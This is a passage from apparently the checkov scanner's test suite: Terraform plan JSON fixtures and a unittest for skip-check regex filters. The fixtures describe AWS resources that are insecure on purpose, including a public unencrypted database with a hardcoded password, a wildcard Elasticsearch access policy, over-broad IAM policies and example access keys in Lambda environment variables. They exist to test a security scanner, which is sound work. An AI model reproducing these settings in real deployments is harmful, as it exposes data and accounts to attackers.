             \"device_name\": \"/dev/xvda\",\n                  \"ebs\": {\n                    \"delete_on_termination\": \"true\",\n                    \"encrypted\": \"false\",\n                    \"iops\": \"0\",\n                    \"snapshot_id\": \"snap-06c1606ba5ca274b1\",\n                    \"volume_size\": \"8\",\n                    \"volume_type\": \"standard\"\n                  },\n                  \"no_device\": \"\",\n                  \"virtual_name\": \"\"\n                }\n              ],\n              \"creation_date\": \"2020-09-22T02:09:24.000Z\",\n              \"description\": \"Amazon Linux 2 AMI 2.0.20200917.0 x86_64 HVM ebs\",\n              \"executable_users\": null,\n              \"filter\": [\n                {\n                  \"name\": \"name\",\n                  \"values\": [\n                    \"amzn2-ami-hvm-*-x86_64-ebs\"\n                  ]\n                },\n                {\n                  \"name\": \"owner-alias\",\n                  \"values\": [\n                    \"amazon\"\n                  ]\n                }\n              ],\n              \"hypervisor\": \"xen\",\n              \"id\": \"ami-0f0a6d00932023856\",\n              \"image_id\": \"ami-0f0a6d00932023856\",\n              \"image_location\": \"amazon/amzn2-ami-hvm-2.0.20200917.0-x86_64-ebs\",\n              \"image_owner_alias\": \"amazon\",\n              \"image_type\": \"machine\",\n              \"kernel_id\": null,\n              \"most_recent\": true,\n              \"name\": \"amzn2-ami-hvm-2.0.20200917.0-x86_64-ebs\",\n              \"name_regex\": null,\n              \"owner_id\": \"137112412989\",\n              \"owners\": [\n                \"amazon\"\n              ],\n              \"platform\": null,\n              \"product_codes\": [],\n              \"public\": true,\n              \"ramdisk_id\": null,\n              \"root_device_name\": \"/dev/xvda\",\n              \"root_device_type\": \"ebs\",\n              \"root_snapshot_id\": \"snap-06c1606ba5ca274b1\",\n              \"sriov_net_support\": \"simple\",\n              \"state\": \"available\",\n              \"state_reason\": {\n                \"code\": \"UNSET\",\n                \"message\": \"UNSET\"\n              },\n              \"tags\": {},\n              \"virtualization_type\": \"hvm\"\n            }\n          },\n          {\n            \"address\": \"data.aws_caller_identity.current\",\n            \"mode\": \"data\",\n            \"type\": \"aws_caller_identity\",\n            \"name\": \"current\",\n            \"provider_name\": \"aws\",\n            \"schema_version\": 0,\n            \"values\": {\n              \"account_id\": \"123456789123\",\n              \"arn\": \"arn:aws:iam::123456789123:user/barak@bridgecrew.io\",\n              \"id\": \"123456789123\",\n              \"user_id\": \"AIDA2MPWNTLGWKZRRDYTT\"\n            }\n          },\n          {\n            \"address\": \"data.aws_iam_policy_document.iam_policy_eks\",\n            \"mode\": \"data\",\n            \"type\": \"aws_iam_policy_document\",\n            \"name\": \"iam_policy_eks\",\n            \"provider_name\": \"aws\",\n            \"schema_version\": 0,\n            \"values\": {\n              \"id\": \"189502314\",\n              \"json\": \"{\\n  \\\"Version\\\": \\\"2012-10-17\\\",\\n  \\\"Statement\\\": [\\n    {\\n      \\\"Sid\\\": \\\"\\\",\\n      \\\"Effect\\\": \\\"Allow\\\",\\n      \\\"Action\\\": \\\"sts:AssumeRole\\\",\\n      \\\"Principal\\\": {\\n        \\\"Service\\\": \\\"eks.amazonaws.com\\\"\\n      }\\n    }\\n  ]\\n}\",\n              \"override_json\": null,\n              \"policy_id\": null,\n              \"source_json\": null,\n              \"statement\": [\n                {\n                  \"actions\": [\n                    \"sts:AssumeRole\"\n                  ],\n                  \"condition\": [],\n                  \"effect\": \"Allow\",\n                  \"not_actions\": [],\n                  \"not_principals\": [],\n                  \"not_resources\": [],\n                  \"principals\": [\n                    {\n                      \"identifiers\": [\n                        \"eks.amazonaws.com\"\n                      ],\n                      \"type\": \"Service\"\n                    }\n                  ],\n                  \"resources\": [],\n                  \"sid\": \"\"\n                }\n              ],\n              \"version\": \"2012-10-17\"\n            }\n          },\n          {\n            \"address\": \"data.aws_iam_policy_document.policy\",\n            \"mode\": \"data\",\n            \"type\": \"aws_iam_policy_document\",\n            \"name\": \"policy\",\n            \"provider_name\": \"aws\",\n            \"schema_version\": 0,\n            \"values\": {\n              \"id\": \"3931805674\",\n              \"json\": \"{\\n  \\\"Version\\\": \\\"2012-10-17\\\",\\n  \\\"Statement\\\": [\\n    {\\n      \\\"Sid\\\": \\\"\\\",\\n      \\\"Effect\\\": \\\"Allow\\\",\\n      \\\"Action\\\": \\\"es:*\\\",\\n      \\\"Resource\\\": \\\"*\\\",\\n      \\\"Principal\\\": {\\n        \\\"AWS\\\": \\\"*\\\"\\n      }\\n    }\\n  ]\\n}\",\n              \"override_json\": null,\n              \"policy_id\": null,\n              \"source_json\": null,\n              \"statement\": [\n                {\n                  \"actions\": [\n                    \"es:*\"\n                  ],\n                  \"condition\": [],\n                  \"effect\": \"Allow\",\n                  \"not_actions\": [],\n                  \"not_principals\": [],\n                  \"not_resources\": [],\n                  \"principals\": [\n                    {\n                      \"identifiers\": [\n                        \"*\"\n                      ],\n                      \"type\": \"AWS\"\n                    }\n                  ],\n                  \"resources\": [\n                    \"*\"\n                  ],\n                  \"sid\": \"\"\n                }\n              ],\n              \"version\": \"2012-10-17\"\n            }\n          }\n        ]\n      }\n    }\n  }\n}\n"
  },
  {
    "path": "tests/terraform/runner/tf_plan_skip_check_regex/test_tf_plan_skip_check_regex.py",
    "content": "import os\nimport unittest\n\nfrom checkov.terraform.plan_runner import Runner\nfrom checkov.runner_filter import RunnerFilter\n\n\nclass TestTFplanSkipCheckRegex(unittest.TestCase):\n\n    def test_skip_all_checks(self):\n        runner = Runner()\n        current_dir = os.path.dirname(os.path.realpath(__file__))\n        test_files_dir = current_dir + \"/resource\"\n        report = runner.run(\n            root_folder=test_files_dir,\n            runner_filter=RunnerFilter(skip_checks=[\n                \"CKV_AWS_*:.*.json$\",\n                \"CKV2_AWS_*:.*.json$\",\n                \"CKV_NCP_*:.*.json$\",\n                \"CKV_AZURE_*:.*.json$\",\n                \"CKV2_AZURE_*:.*.json$\",\n                \"CKV2_GCP_*:.*.json$\",\n                \"CKV_ADO_*:.*.json$\",\n                \"CKV2_ADO_*:.*.json$\",\n                \"CKV_OCI_*:.*.json$\",\n                \"CKV2_OCI_*:.*.json$\",\n                \"CKV_GIT_*:.*.json$\",\n                \"CKV2_GIT_1:.*.json$\"\n            ])\n        )\n        summary = report.get_summary()\n\n        self.assertEqual(summary['passed'], 0)\n        self.assertEqual(summary['failed'], 0)\n        # As skip is not being inserted to result in base check scan\n        self.assertEqual(summary['skipped'], 0)\n        self.assertEqual(summary['parsing_errors'], 0)\n\n    def test_skip_some_checks(self):\n        runner = Runner()\n        current_dir = os.path.dirname(os.path.realpath(__file__))\n        test_files_dir = current_dir + \"/resource\"\n        report1 = runner.run(\n            root_folder=test_files_dir,\n            runner_filter=RunnerFilter(skip_checks=[\"CKV2_AWS_*:.*.json$\"])\n        )\n        summary1 = report1.get_summary()\n\n        report2 = runner.run(root_folder=test_files_dir, runner_filter=RunnerFilter())\n        summary2 = report2.get_summary()\n\n        self.assertNotEqual(summary1['passed'], summary2['passed'])\n        self.assertNotEqual(summary1['failed'], summary2['failed'])\n\n    def test_skip_only_one_file(self):\n        runner = Runner()\n        current_dir = os.path.dirname(os.path.realpath(__file__))\n        test_files_dir = current_dir + \"/resource\"\n        report = runner.run(root_folder=test_files_dir, runner_filter=RunnerFilter(skip_checks=[\n                \"CKV_AWS_*:.*skip_directory.*.json$\",\n                \"CKV2_AWS_*:.*skip_directory.*.json$\",\n                \"CKV_NCP_*:.*skip_directory.*.json$\",\n                \"CKV_AZURE_*:.*skip_directory.*.json$\",\n                \"CKV2_AZURE_*:.*skip_directory.*.json$\",\n                \"CKV2_GCP_*:.*skip_directory.*.json$\",\n                \"CKV_ADO_*:.*skip_directory.*.json$\",\n                \"CKV2_ADO_*:.*skip_directory.*.json$\",\n                \"CKV_OCI_*:.*skip_directory.*.json$\",\n                \"CKV2_OCI_*:.*skip_directory.*.json$\",\n                \"CKV_GIT_*:.*skip_directory.*.json$\",\n                \"CKV2_GIT_1:.*skip_directory.*.json$\"\n            ]))\n\n        summary = report.get_summary()\n        no_skip_report = runner.run(root_folder=test_files_dir, runner_filter=RunnerFilter())\n        no_skip_summary = no_skip_report.get_summary()\n        self.assertNotEqual(summary['passed'], no_skip_summary['passed'])\n        self.assertNotEqual(summary['failed'], no_skip_summary['failed'])\n\n\nif __name__ == '__main__':\n    unittest.main()\n"
  },
  {
    "path": "tests/terraform/runner/tfplan2.json",
    "content": "{\n  \"format_version\": \"0.1\",\n  \"terraform_version\": \"0.12.23\",\n  \"variables\": {\n    \"ami\": {\n      \"value\": \"ami-09a5b0b7edf08843d\"\n    },\n    \"availability_zone\": {\n      \"value\": \"us-west-2a\"\n    },\n    \"availability_zone2\": {\n      \"value\": \"us-west-2b\"\n    },\n    \"company_name\": {\n      \"value\": \"acme\"\n    },\n    \"dbname\": {\n      \"value\": \"db1\"\n    },\n    \"environment\": {\n      \"value\": \"corp\"\n    },\n    \"neptune-dbname\": {\n      \"value\": \"neptunedb1\"\n    },\n    \"password\": {\n      \"value\": \"Aa1234321Bb\"\n    },\n    \"profile\": {\n      \"value\": \"default\"\n    },\n    \"region\": {\n      \"value\": \"us-west-2\"\n    }\n  },\n  \"planned_values\": {\n    \"outputs\": {\n      \"db_app_public_dns\": {\n        \"sensitive\": false\n      },\n      \"db_endpoint\": {\n        \"sensitive\": false\n      },\n      \"ec2_public_dns\": {\n        \"sensitive\": false\n      },\n      \"endpoint\": {\n        \"sensitive\": false\n      },\n      \"kubeconfig-certificate-authority-data\": {\n        \"sensitive\": false\n      },\n      \"public_subnet\": {\n        \"sensitive\": false\n      },\n      \"public_subnet2\": {\n        \"sensitive\": false\n      },\n      \"secret\": {\n        \"sensitive\": false\n      },\n      \"username\": {\n        \"sensitive\": false,\n        \"value\": \"123456789123-acme-corp-user\"\n      },\n      \"vpc_id\": {\n        \"sensitive\": false\n      }\n    },\n    \"root_module\": {\n      \"resources\": [\n        {\n          \"address\": \"aws_db_instance.default\",\n          \"mode\": \"managed\",\n          \"type\": \"aws_db_instance\",\n          \"name\": \"default\",\n          \"provider_name\": \"aws\",\n          \"schema_version\": 1,\n          \"values\": {\n            \"allocated_storage\": 20,\n            \"allow_major_version_upgrade\": null,\n            \"apply_immediately\": true,\n            \"auto_minor_version_upgrade\": true,\n            \"backup_retention_period\": 0,\n            \"copy_tags_to_snapshot\": false,\n            \"db_subnet_group_name\": \"sg-123456789123-acme-corp\",\n            \"delete_automated_backups\": true,\n            \"deletion_protection\": null,\n            \"domain\": null,\n            \"domain_iam_role_name\": null,\n            \"enabled_cloudwatch_logs_exports\": null,\n            \"engine\": \"mysql\",\n            \"engine_version\": \"8.0\",\n            \"final_snapshot_identifier\": null,\n            \"iam_database_authentication_enabled\": null,\n            \"identifier\": \"rds-123456789123-acme-corp\",\n            \"instance_class\": \"db.t3.micro\",\n            \"iops\": null,\n            \"max_allocated_storage\": null,\n            \"monitoring_interval\": 0,\n            \"multi_az\": false,\n            \"name\": \"db1\",\n            \"option_group_name\": \"og-123456789123-acme-corp\",\n            \"parameter_group_name\": \"pg-123456789123-acme-corp\",\n            \"password\": \"Aa1234321Bb\",\n            \"performance_insights_enabled\": false,\n            \"publicly_accessible\": true,\n            \"replicate_source_db\": null,\n            \"s3_import\": [],\n            \"security_group_names\": null,\n            \"skip_final_snapshot\": true,\n            \"snapshot_identifier\": null,\n            \"storage_encrypted\": false,\n            \"tags\": {\n              \"Environment\": \"123456789123-acme-corp\",\n              \"Name\": \"123456789123-acme-corp-rds\"\n            },\n            \"timeouts\": null,\n            \"username\": \"admin\"\n          }\n        },\n        {\n          \"address\": \"aws_db_option_group.default\",\n          \"mode\": \"managed\",\n          \"type\": \"aws_db_option_group\",\n          \"name\": \"default\",\n          \"provider_name\": \"aws\",\n          \"schema_version\": 0,\n          \"values\": {\n            \"engine_name\": \"mysql\",\n            \"major_engine_version\": \"8.0\",\n            \"name\": \"og-123456789123-acme-corp\",\n            \"option\": [],\n            \"option_group_description\": \"Terraform OG\",\n            \"tags\": {\n              \"Environment\": \"123456789123-acme-corp\",\n              \"Name\": \"123456789123-acme-corp-og\"\n            },\n            \"timeouts\": null\n          }\n        },\n        {\n          \"address\": \"aws_db_parameter_group.default\",\n          \"mode\": \"managed\",\n          \"type\": \"aws_db_parameter_group\",\n          \"name\": \"default\",\n          \"provider_name\": \"aws\",\n          \"schema_version\": 0,\n          \"values\": {\n            \"description\": \"Terraform PG\",\n            \"family\": \"mysql8.0\",\n            \"name\": \"pg-123456789123-acme-corp\",\n            \"parameter\": [\n              {\n                \"apply_method\": \"immediate\",\n                \"name\": \"character_set_client\",\n                \"value\": \"utf8\"\n              },\n              {\n                \"apply_method\": \"immediate\",\n                \"name\": \"character_set_server\",\n                \"value\": \"utf8\"\n              }\n            ],\n            \"tags\": {\n              \"Environment\": \"123456789123-acme-corp\",\n              \"Name\": \"123456789123-acme-corp-pg\"\n            }\n          }\n        },\n        {\n          \"address\": \"aws_db_subnet_group.default\",\n          \"mode\": \"managed\",\n          \"type\": \"aws_db_subnet_group\",\n          \"name\": \"default\",\n          \"provider_name\": \"aws\",\n          \"schema_version\": 0,\n          \"values\": {\n            \"description\": \"Terraform DB Subnet Group\",\n            \"name\": \"sg-123456789123-acme-corp\",\n            \"tags\": {\n              \"Environment\": \"123456789123-acme-corp\",\n              \"Name\": \"sg-123456789123-acme-corp\"\n            }\n          }\n        },\n        {\n          \"address\": \"aws_ebs_snapshot.example_snapshot\",\n          \"mode\": \"managed\",\n          \"type\": \"aws_ebs_snapshot\",\n          \"name\": \"example_snapshot\",\n          \"provider_name\": \"aws\",\n          \"schema_version\": 0,\n          \"values\": {\n            \"description\": \"123456789123-acme-corp-ebs-snapshot\",\n            \"tags\": {\n              \"Name\": \"123456789123-acme-corp-ebs-snapshot\"\n            },\n            \"timeouts\": null\n          }\n        },\n        {\n          \"address\": \"aws_ebs_volume.web_host_storage\",\n          \"mode\": \"managed\",\n          \"type\": \"aws_ebs_volume\",\n          \"name\": \"web_host_storage\",\n          \"provider_name\": \"aws\",\n          \"schema_version\": 0,\n          \"values\": {\n            \"availability_zone\": \"us-west-2a\",\n            \"multi_attach_enabled\": null,\n            \"outpost_arn\": null,\n            \"size\": 1,\n            \"tags\": {\n              \"Name\": \"123456789123-acme-corp-ebs\"\n            }\n          }\n        },\n        {\n          \"address\": \"aws_ecr_repository.repository\",\n          \"mode\": \"managed\",\n          \"type\": \"aws_ecr_repository\",\n          \"name\": \"repository\",\n          \"provider_name\": \"aws\",\n          \"schema_version\": 0,\n          \"values\": {\n            \"encryption_configuration\": [],\n            \"image_scanning_configuration\": [],\n            \"image_tag_mutability\": \"MUTABLE\",\n            \"name\": \"123456789123-acme-corp-repository\",\n            \"tags\": {\n              \"Name\": \"123456789123-acme-corp-repository\"\n            },\n            \"timeouts\": null\n          }\n        },\n        {\n          \"address\": \"aws_eks_cluster.eks_cluster\",\n          \"mode\": \"managed\",\n          \"type\": \"aws_eks_cluster\",\n          \"name\": \"eks_cluster\",\n          \"provider_name\": \"aws\",\n          \"schema_version\": 0,\n          \"values\": {\n            \"enabled_cluster_log_types\": null,\n            \"encryption_config\": [],\n            \"name\": \"123456789123-acme-corp-eks\",\n            \"tags\": null,\n            \"timeouts\": null,\n            \"vpc_config\": [\n              {\n                \"endpoint_private_access\": true,\n                \"endpoint_public_access\": true,\n                \"security_group_ids\": null\n              }\n            ]\n          }\n        },\n        {\n          \"address\": \"aws_elasticsearch_domain.monitoring-framework\",\n          \"mode\": \"managed\",\n          \"type\": \"aws_elasticsearch_domain\",\n          \"name\": \"monitoring-framework\",\n          \"provider_name\": \"aws\",\n          \"schema_version\": 0,\n          \"values\": {\n            \"cluster_config\": [\n              {\n                \"dedicated_master_count\": null,\n                \"dedicated_master_enabled\": false,\n                \"dedicated_master_type\": null,\n                \"instance_count\": 1,\n                \"instance_type\": \"t2.small.elasticsearch\",\n                \"warm_count\": null,\n                \"warm_enabled\": null,\n                \"warm_type\": null,\n                \"zone_awareness_config\": [],\n                \"zone_awareness_enabled\": null\n              }\n            ],\n            \"cognito_options\": [],\n            \"domain_name\": \"tg-corp-es\",\n            \"ebs_options\": [\n              {\n                \"ebs_enabled\": true,\n                \"iops\": null,\n                \"volume_size\": 30\n              }\n            ],\n            \"elasticsearch_version\": \"2.3\",\n            \"log_publishing_options\": [],\n            \"snapshot_options\": [],\n            \"tags\": null,\n            \"timeouts\": null,\n            \"vpc_options\": []\n          }\n        },\n        {\n          \"address\": \"aws_elasticsearch_domain_policy.monitoring-framework-policy\",\n          \"mode\": \"managed\",\n          \"type\": \"aws_elasticsearch_domain_policy\",\n          \"name\": \"monitoring-framework-policy\",\n          \"provider_name\": \"aws\",\n          \"schema_version\": 0,\n          \"values\": {\n            \"access_policies\": \"{\\n  \\\"Version\\\": \\\"2012-10-17\\\",\\n  \\\"Statement\\\": [\\n    {\\n      \\\"Sid\\\": \\\"\\\",\\n      \\\"Effect\\\": \\\"Allow\\\",\\n      \\\"Action\\\": \\\"es:*\\\",\\n      \\\"Resource\\\": \\\"*\\\",\\n      \\\"Principal\\\": {\\n        \\\"AWS\\\": \\\"*\\\"\\n      }\\n    }\\n  ]\\n}\",\n            \"domain_name\": \"tg-corp-es\"\n          }\n        },\n        {\n          \"address\": \"aws_elb.weblb\",\n          \"mode\": \"managed\",\n          \"type\": \"aws_elb\",\n          \"name\": \"weblb\",\n          \"provider_name\": \"aws\",\n          \"schema_version\": 0,\n          \"values\": {\n            \"access_logs\": [],\n            \"connection_draining\": true,\n            \"connection_draining_timeout\": 400,\n            \"cross_zone_load_balancing\": true,\n            \"health_check\": [\n              {\n                \"healthy_threshold\": 2,\n                \"interval\": 30,\n                \"target\": \"HTTP:8000/\",\n                \"timeout\": 3,\n                \"unhealthy_threshold\": 2\n              }\n            ],\n            \"idle_timeout\": 400,\n            \"listener\": [\n              {\n                \"instance_port\": 8000,\n                \"instance_protocol\": \"http\",\n                \"lb_port\": 80,\n                \"lb_protocol\": \"http\",\n                \"ssl_certificate_id\": \"\"\n              }\n            ],\n            \"name\": \"weblb-terraform-elb\",\n            \"name_prefix\": null,\n            \"tags\": {\n              \"Name\": \"foobar-terraform-elb\"\n            }\n          }\n        },\n        {\n          \"address\": \"aws_flow_log.vpcflowlogs\",\n          \"mode\": \"managed\",\n          \"type\": \"aws_flow_log\",\n          \"name\": \"vpcflowlogs\",\n          \"provider_name\": \"aws\",\n          \"schema_version\": 0,\n          \"values\": {\n            \"eni_id\": null,\n            \"iam_role_arn\": null,\n            \"log_destination_type\": \"s3\",\n            \"max_aggregation_interval\": 600,\n            \"subnet_id\": null,\n            \"tags\": {\n              \"Environment\": \"123456789123-acme-corp\",\n              \"Name\": \"123456789123-acme-corp-flowlogs\"\n            },\n            \"traffic_type\": \"ALL\"\n          }\n        },\n        {\n          \"address\": \"aws_iam_access_key.user\",\n          \"mode\": \"managed\",\n          \"type\": \"aws_iam_access_key\",\n          \"name\": \"user\",\n          \"provider_name\": \"aws\",\n          \"schema_version\": 0,\n          \"values\": {\n            \"pgp_key\": null,\n            \"user\": \"123456789123-acme-corp-user\"\n          }\n        },\n        {\n          \"address\": \"aws_iam_instance_profile.ec2profile\",\n          \"mode\": \"managed\",\n          \"type\": \"aws_iam_instance_profile\",\n          \"name\": \"ec2profile\",\n          \"provider_name\": \"aws\",\n          \"schema_version\": 0,\n          \"values\": {\n            \"name\": \"123456789123-acme-corp-profile\",\n            \"name_prefix\": null,\n            \"path\": \"/\",\n            \"role\": \"123456789123-acme-corp-role\"\n          }\n        },\n        {\n          \"address\": \"aws_iam_role.ec2role\",\n          \"mode\": \"managed\",\n          \"type\": \"aws_iam_role\",\n          \"name\": \"ec2role\",\n          \"provider_name\": \"aws\",\n          \"schema_version\": 0,\n          \"values\": {\n            \"assume_role_policy\": \"{\\n    \\\"Version\\\": \\\"2012-10-17\\\",\\n    \\\"Statement\\\": [\\n        {\\n            \\\"Action\\\": \\\"sts:AssumeRole\\\",\\n            \\\"Principal\\\": {\\n               \\\"Service\\\": \\\"ec2.amazonaws.com\\\"\\n            },\\n            \\\"Effect\\\": \\\"Allow\\\",\\n            \\\"Sid\\\": \\\"\\\"\\n        }\\n    ]\\n}\\n\",\n            \"description\": null,\n            \"force_detach_policies\": false,\n            \"max_session_duration\": 3600,\n            \"name\": \"123456789123-acme-corp-role\",\n            \"name_prefix\": null,\n            \"path\": \"/\",\n            \"permissions_boundary\": null,\n            \"tags\": {\n              \"Environment\": \"123456789123-acme-corp\",\n              \"Name\": \"123456789123-acme-corp-role\"\n            }\n          }\n        },\n        {\n          \"address\": \"aws_iam_role.iam_for_eks\",\n          \"mode\": \"managed\",\n          \"type\": \"aws_iam_role\",\n          \"name\": \"iam_for_eks\",\n          \"provider_name\": \"aws\",\n          \"schema_version\": 0,\n          \"values\": {\n            \"assume_role_policy\": \"{\\n  \\\"Version\\\": \\\"2012-10-17\\\",\\n  \\\"Statement\\\": [\\n    {\\n      \\\"Sid\\\": \\\"\\\",\\n      \\\"Effect\\\": \\\"Allow\\\",\\n      \\\"Action\\\": \\\"sts:AssumeRole\\\",\\n      \\\"Principal\\\": {\\n        \\\"Service\\\": \\\"eks.amazonaws.com\\\"\\n      }\\n    }\\n  ]\\n}\",\n            \"description\": null,\n            \"force_detach_policies\": false,\n            \"max_session_duration\": 3600,\n            \"name\": \"123456789123-acme-corp-iam-for-eks\",\n            \"name_prefix\": null,\n            \"path\": \"/\",\n            \"permissions_boundary\": null,\n            \"tags\": null\n          }\n        },\n        {\n          \"address\": \"aws_iam_role.iam_for_lambda\",\n          \"mode\": \"managed\",\n          \"type\": \"aws_iam_role\",\n          \"name\": \"iam_for_lambda\",\n          \"provider_name\": \"aws\",\n          \"schema_version\": 0,\n          \"values\": {\n            \"assume_role_policy\": \"{\\n  \\\"Version\\\": \\\"2012-10-17\\\",\\n  \\\"Statement\\\": [\\n    {\\n      \\\"Action\\\": \\\"sts:AssumeRole\\\",\\n      \\\"Principal\\\": {\\n        \\\"Service\\\": \\\"lambda.amazonaws.com\\\"\\n      },\\n      \\\"Effect\\\": \\\"Allow\\\",\\n      \\\"Sid\\\": \\\"\\\"\\n    }\\n  ]\\n}\\n\",\n            \"description\": null,\n            \"force_detach_policies\": false,\n            \"max_session_duration\": 3600,\n            \"name\": \"123456789123-acme-corp-analysis-lambda\",\n            \"name_prefix\": null,\n            \"path\": \"/\",\n            \"permissions_boundary\": null,\n            \"tags\": null\n          }\n        },\n        {\n          \"address\": \"aws_iam_role_policy.ec2policy\",\n          \"mode\": \"managed\",\n          \"type\": \"aws_iam_role_policy\",\n          \"name\": \"ec2policy\",\n          \"provider_name\": \"aws\",\n          \"schema_version\": 0,\n          \"values\": {\n            \"name\": \"123456789123-acme-corp-policy\",\n            \"name_prefix\": null,\n            \"policy\": \"{\\n  \\\"Version\\\": \\\"2012-10-17\\\",\\n  \\\"Statement\\\": [\\n    {\\n      \\\"Action\\\": [\\n        \\\"s3:*\\\",\\n        \\\"ec2:*\\\",\\n        \\\"rds:*\\\"\\n      ],\\n      \\\"Effect\\\": \\\"Allow\\\",\\n      \\\"Resource\\\": \\\"*\\\"\\n    }\\n  ]\\n}\\n\"\n          }\n        },\n        {\n          \"address\": \"aws_iam_role_policy_attachment.policy_attachment-AmazonEKSClusterPolicy\",\n          \"mode\": \"managed\",\n          \"type\": \"aws_iam_role_policy_attachment\",\n          \"name\": \"policy_attachment-AmazonEKSClusterPolicy\",\n          \"provider_name\": \"aws\",\n          \"schema_version\": 0,\n          \"values\": {\n            \"policy_arn\": \"arn:aws:iam::aws:policy/AmazonEKSClusterPolicy\",\n            \"role\": \"123456789123-acme-corp-iam-for-eks\"\n          }\n        },\n        {\n          \"address\": \"aws_iam_role_policy_attachment.policy_attachment-AmazonEKSServicePolicy\",\n          \"mode\": \"managed\",\n          \"type\": \"aws_iam_role_policy_attachment\",\n          \"name\": \"policy_attachment-AmazonEKSServicePolicy\",\n          \"provider_name\": \"aws\",\n          \"schema_version\": 0,\n          \"values\": {\n            \"policy_arn\": \"arn:aws:iam::aws:policy/AmazonEKSServicePolicy\",\n            \"role\": \"123456789123-acme-corp-iam-for-eks\"\n          }\n        },\n        {\n          \"address\": \"aws_iam_user.user\",\n          \"mode\": \"managed\",\n          \"type\": \"aws_iam_user\",\n          \"name\": \"user\",\n          \"provider_name\": \"aws\",\n          \"schema_version\": 0,\n          \"values\": {\n            \"force_destroy\": true,\n            \"name\": \"123456789123-acme-corp-user\",\n            \"path\": \"/\",\n            \"permissions_boundary\": null,\n            \"tags\": {\n              \"Environment\": \"123456789123-acme-corp\",\n              \"Name\": \"123456789123-acme-corp-user\"\n            }\n          }\n        },\n        {\n          \"address\": \"aws_iam_user_policy.userpolicy\",\n          \"mode\": \"managed\",\n          \"type\": \"aws_iam_user_policy\",\n          \"name\": \"userpolicy\",\n          \"provider_name\": \"aws\",\n          \"schema_version\": 0,\n          \"values\": {\n            \"name\": \"excess_policy\",\n            \"name_prefix\": null,\n            \"policy\": \"{\\n  \\\"Version\\\": \\\"2012-10-17\\\",\\n  \\\"Statement\\\": [\\n    {\\n      \\\"Action\\\": [\\n        \\\"ec2:*\\\",\\n        \\\"s3:*\\\",\\n        \\\"lambda:*\\\",\\n        \\\"cloudwatch:*\\\"\\n      ],\\n      \\\"Effect\\\": \\\"Allow\\\",\\n      \\\"Resource\\\": \\\"*\\\"\\n    }\\n  ]\\n}\\n\",\n            \"user\": \"123456789123-acme-corp-user\"\n          }\n        },\n        {\n          \"address\": \"aws_instance.db_app\",\n          \"mode\": \"managed\",\n          \"type\": \"aws_instance\",\n          \"name\": \"db_app\",\n          \"provider_name\": \"aws\",\n          \"schema_version\": 1,\n          \"values\": {\n            \"ami\": \"ami-0f0a6d00932023856\",\n            \"credit_specification\": [],\n            \"disable_api_termination\": null,\n            \"ebs_optimized\": null,\n            \"get_password_data\": false,\n            \"hibernation\": null,\n            \"iam_instance_profile\": \"123456789123-acme-corp-profile\",\n            \"instance_initiated_shutdown_behavior\": null,\n            \"instance_type\": \"t2.nano\",\n            \"monitoring\": null,\n            \"source_dest_check\": true,\n            \"tags\": {\n              \"Name\": \"123456789123-acme-corp-dbapp\"\n            },\n            \"timeouts\": null,\n            \"user_data_base64\": null\n          }\n        },\n        {\n          \"address\": \"aws_instance.web_host\",\n          \"mode\": \"managed\",\n          \"type\": \"aws_instance\",\n          \"name\": \"web_host\",\n          \"provider_name\": \"aws\",\n          \"schema_version\": 1,\n          \"values\": {\n            \"ami\": \"ami-09a5b0b7edf08843d\",\n            \"credit_specification\": [],\n            \"disable_api_termination\": null,\n            \"ebs_optimized\": null,\n            \"get_password_data\": false,\n            \"hibernation\": null,\n            \"iam_instance_profile\": null,\n            \"instance_initiated_shutdown_behavior\": null,\n            \"instance_type\": \"t2.nano\",\n            \"monitoring\": null,\n            \"source_dest_check\": true,\n            \"tags\": {\n              \"Name\": \"123456789123-acme-corp-ec2\"\n            },\n            \"timeouts\": null,\n            \"user_data\": \"44c6c808e6449ee36dfcfc4ebd66c1b9634b40f2\",\n            \"user_data_base64\": null\n          }\n        },\n        {\n          \"address\": \"aws_internet_gateway.web_igw\",\n          \"mode\": \"managed\",\n          \"type\": \"aws_internet_gateway\",\n          \"name\": \"web_igw\",\n          \"provider_name\": \"aws\",\n          \"schema_version\": 0,\n          \"values\": {\n            \"tags\": {\n              \"Name\": \"123456789123-acme-corp-igw\"\n            }\n          }\n        },\n        {\n          \"address\": \"aws_kms_alias.logs_key_alias\",\n          \"mode\": \"managed\",\n          \"type\": \"aws_kms_alias\",\n          \"name\": \"logs_key_alias\",\n          \"provider_name\": \"aws\",\n          \"schema_version\": 0,\n          \"values\": {\n            \"name\": \"alias/123456789123-acme-corp-logs-bucket-key\",\n            \"name_prefix\": null\n          }\n        },\n        {\n          \"address\": \"aws_kms_key.logs_key\",\n          \"mode\": \"managed\",\n          \"type\": \"aws_kms_key\",\n          \"name\": \"logs_key\",\n          \"provider_name\": \"aws\",\n          \"schema_version\": 0,\n          \"values\": {\n            \"customer_master_key_spec\": \"SYMMETRIC_DEFAULT\",\n            \"deletion_window_in_days\": 7,\n            \"description\": \"123456789123-acme-corp-logs bucket key\",\n            \"enable_key_rotation\": false,\n            \"is_enabled\": true,\n            \"key_usage\": \"ENCRYPT_DECRYPT\",\n            \"tags\": null\n          }\n        },\n        {\n          \"address\": \"aws_lambda_function.analysis_lambda\",\n          \"mode\": \"managed\",\n          \"type\": \"aws_lambda_function\",\n          \"name\": \"analysis_lambda\",\n          \"provider_name\": \"aws\",\n          \"schema_version\": 0,\n          \"values\": {\n            \"dead_letter_config\": [],\n            \"description\": null,\n            \"environment\": [\n              {\n                \"variables\": {\n                  \"access_key\": \"AKIAIOSFODNN7EXAMPLE\",\n                  \"secret_key\": \"wJalrXUtnFEMI/K7MDENG/bPxRfiCYEXAMPLEKEY\"\n                }\n              }\n            ],\n            \"file_system_config\": [],\n            \"filename\": \"resources/lambda_function_payload.zip\",\n            \"function_name\": \"123456789123-acme-corp-analysis\",\n            \"handler\": \"exports.test\",\n            \"kms_key_arn\": null,\n            \"layers\": null,\n            \"memory_size\": 128,\n            \"publish\": false,\n            \"reserved_concurrent_executions\": -1,\n            \"runtime\": \"nodejs12.x\",\n            \"s3_bucket\": null,\n            \"s3_key\": null,\n            \"s3_object_version\": null,\n            \"source_code_hash\": \"Fne61Y/F2pmVywaVqIYcztFMK3LNeMJKpWFNnxDdGTw=\",\n            \"tags\": null,\n            \"timeout\": 3,\n            \"timeouts\": null,\n            \"vpc_config\": []\n          }\n        },\n        {\n          \"address\": \"aws_neptune_cluster.default\",\n          \"mode\": \"managed\",\n          \"type\": \"aws_neptune_cluster\",\n          \"name\": \"default\",\n          \"provider_name\": \"aws\",\n          \"schema_version\": 0,\n          \"values\": {\n            \"apply_immediately\": true,\n            